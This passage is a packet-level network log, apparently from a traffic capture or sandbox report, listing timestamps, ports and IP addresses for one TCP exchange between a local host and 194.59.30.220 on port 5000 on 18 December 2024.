Dec 18, 2024 11:40:29.715507030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.715565920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.715595961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.716506958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.716590881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.716598034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.717530966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.717586994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.717677116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.718549013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.718594074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.718605995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.719486952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.719583988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.719707012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.720557928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.720573902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.720724106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.721595049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.721700907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.721736908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.722491980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.722673893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.722698927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.723494053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.723583937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.723596096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.724426031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.724515915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.724554062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.725485086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.725640059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.725644112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.726450920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.726562977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.726587057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.727425098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.727559090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.727586031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.728403091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.728467941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.728492022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.729450941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.729475975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.729532957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.730390072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.730535984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.730573893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.731369972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.731468916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.731512070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.732383966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.732448101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.732455015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.733380079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.733444929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.733638048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.734386921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.734462023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.734483957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.735371113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.735414982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.735440016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.742213964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.742292881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.742301941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.742672920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.742713928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.742804050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.743697882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.743782043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.743835926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.744654894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.744755983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.878598928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.878627062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.878690004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.878793001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.878870010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.878928900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.879796028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.879926920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.880018950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.880783081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.880949020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.881222963 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.881819963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.881858110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.882071972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.882785082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.882838964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.882975101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.883815050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.883846998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.883919954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.884799004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.884826899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.885123968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.885749102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.885865927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.885984898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.886730909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.886821032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.887337923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.887767076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.887871027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.888524055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.888746977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.888951063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.889010906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.889792919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.889828920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.889892101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.890742064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.890857935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.890928984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.891709089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.891829967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.891992092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.892690897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.892836094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.892946005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.893723011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.893805027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.893939018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.894701004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.894829035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.895242929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.895678997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.895843983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.896547079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.896678925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.896744013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.897011042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.897675037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.897774935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.898036003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.898658037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.898756027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.898807049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.899657965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.899729013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.899885893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.900631905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.900758028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.900832891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.901726007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.901844025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.901947975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.902646065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.902848959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.902950048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.903650045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.903748989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.904033899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.904593945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.904732943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.905051947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.905592918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.905807018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.906049967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.906594992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.906656981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.906805992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.907572031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.907685041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.907866955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.908608913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.908711910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.908809900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.909569979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.909785986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.909885883 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.910650969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.910726070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.910995960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.911540031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.911729097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.911773920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.912564993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.912591934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.912648916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.913538933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.913674116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.913739920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.914520979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.914643049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.914701939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.915522099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.915745974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.915805101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.916594028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.916757107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.916834116 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.917531967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.917634010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.917685986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.918479919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.918627977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.918725967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.919548035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.919665098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.919758081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.920469999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.920577049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.920620918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.921495914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.921545982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.921610117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.922482014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.922558069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.922606945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.923506975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.923574924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.923863888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.924458027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.924561977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.924679041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.925481081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.925709009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.925990105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.926462889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.926525116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.926637888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.933260918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.933307886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.933446884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.933511019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.933587074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.933711052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.934478998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.934562922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.934607029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.935462952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.935610056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.935846090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.069380045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.069432974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.069531918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.069897890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.069991112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.070115089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.070867062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.070975065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.071083069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.071857929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.071942091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.072529078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.072715998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.072834969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.072916031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.073862076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.073879004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.073996067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.074729919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.074785948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.074933052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.075917006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.075978041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.076044083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.076730013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.076903105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.077065945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.077764988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.077903032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.077964067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.078686953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.078747988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.078898907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.079709053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.079766035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.079837084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.080718994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.080780029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.080921888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.081646919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.081765890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.081836939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.082672119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.082830906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.082895041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.083677053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.083762884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.083818913 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.084665060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.084795952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.084891081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.085706949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.085788965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.085896015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.086646080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.086806059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.086878061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.087711096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.087806940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.087872982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.088681936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.088824987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.088900089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.089704990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.089893103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.089958906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.090723991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.090900898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.091074944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.091743946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.091813087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.091870070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.092808962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.093086004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.093188047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.093709946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.093839884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.093936920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.094748020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.095006943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.095159054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.095901966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.095952034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.096021891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.096975088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.097040892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.097137928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.097680092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.097758055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.097839117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.098567009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.098642111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.098715067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.099845886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.099863052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.099925995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.100508928 CET	5000	49705	194.59.30.220	192.168.2.5
